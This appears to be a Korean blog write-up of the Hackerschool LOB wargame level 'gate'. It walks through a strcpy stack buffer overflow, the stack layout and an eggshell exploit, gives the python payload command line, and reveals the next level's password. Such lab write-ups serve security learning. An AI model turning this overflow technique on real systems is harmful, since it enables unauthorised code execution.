[ LOB gate ]
id : gate
password : gate 로 접속한다.
1. ls -l
2. mkdir tmp
3. cp gremlin tmp
ls 명령어로 파일을 확인하고, mkdir 명령어로 tmp 디렉토리를 만들어 gremlin 을 cp 명령어를 이용하여 복사해두자.
tmp 디렉토리에서 여러가지 작업 ( gdb, eggshell 등등 ) 을 진행하기 위함이다.
- 코드분석 -
main 에서 인자를 전달받고, if문에서 main 인자의 개수가 2개 이상이면 강제로 프로그램을 종료한다.
( 알고보니까 if문의 내용은 별다른 인자전달이 없을때는 오류를 출력한다는 의미였네요.)
strcpy에서는 main 함수에서 받은 argv[1]를 버퍼에 대입할때 크기 검사를 하지 않으므로 버퍼오버플로우 공격이 가능하다.
1. cd tmp
2. vi eggshell.c
3. vi getenv2.c
4. gcc -o eggshell eggshell.c
5. gcc -o getenv2 getenv2.c
cd 명령어로 tmp 디렉토리로 이동하고, eggshell과 getenv를 컴파일한다. 그리고 gcc를 사용해 c파일들을 컴파일한다.
에그쉘의 소스는 https://sunrinjuntae.tistory.com/4?category=700798
getenv의 소스는 https://sunrinjuntae.tistory.com/5?category=700798
gdb 디버거로 취약점이있는 gremlin 파일을 분석하자.
main 부터 main + 3 까지 스택을 구성한다.
16진수로 100만큼 esp를 sub 했으므로 스택의 크기는 10진수 256 (0x100) 이다.
- 공격방법 -
현재 스택의 구조를 그려보면
buf ( 256 )
sfp ( 4 )
ret ( 4 )
이다.
일단 컴파일한 eggshell을 실행시켜서 쉘코드가 위치한 주소를 불러온다. 그리고 보다 정확한 주소를 불러오기 위해서 getenv2를 실행시킨다.
우리는 ret을 getenv2로 얻은 에그쉘의 주소로 덮어씌워야 한다.
따라서 buf와 sfp에 의미없는 값 ( A ) 을 넣어주고, ret에 에그쉘의 주소를 리틀엔디안으로 입력해준다.
편한 인자전달을 위해 perl, python 등을 사용할 수 있다.
260 개의 의미없는 값 + 쉘코드가 있는 주소
=> `python -c 'print "A'*260+"\xeb\xf5\xff\xbf"'`
1. ./egg
2. ./getenv2 EGG
3. ./gremlin `python -c 'print "A"*260+"\xeb\xf5\xff\xbf"'`
4. ./bash2
5. ./gremlin `python -c 'print "A"*260+"\xeb\xf5\xff\xbf"'`
Segmentation fault 오류이다. 버퍼오버플로우가 제대로 작동하였지만 쉘코드가 ret에 제대로 변조되지 않았다.
그 이유는 bash2를 입력하지않아서 리눅스가 \xff를 입력받지 못했기 때문이다.
lob는 버전이 6.2 redhat 리눅스로 구동하기 때문에,\xff를 인식하지 못한다.
1. id
2. my-pass
bash2를 입력하고 난 후 공격을 시도했더니, 다음과 같이 쉘이 떨어졌다.
이로써 gate 를 클리어하였다.
pw는 hello bof world 이다.
'System Hacking ( pwnable ) > hackerschool LOB Write-up' 카테고리의 다른 글
[LOB] level7 - darkelf( write - up ) (0) | 2019.03.24 |
---|---|
[LOB] level6 - wolfman ( write - up ) (0) | 2019.03.24 |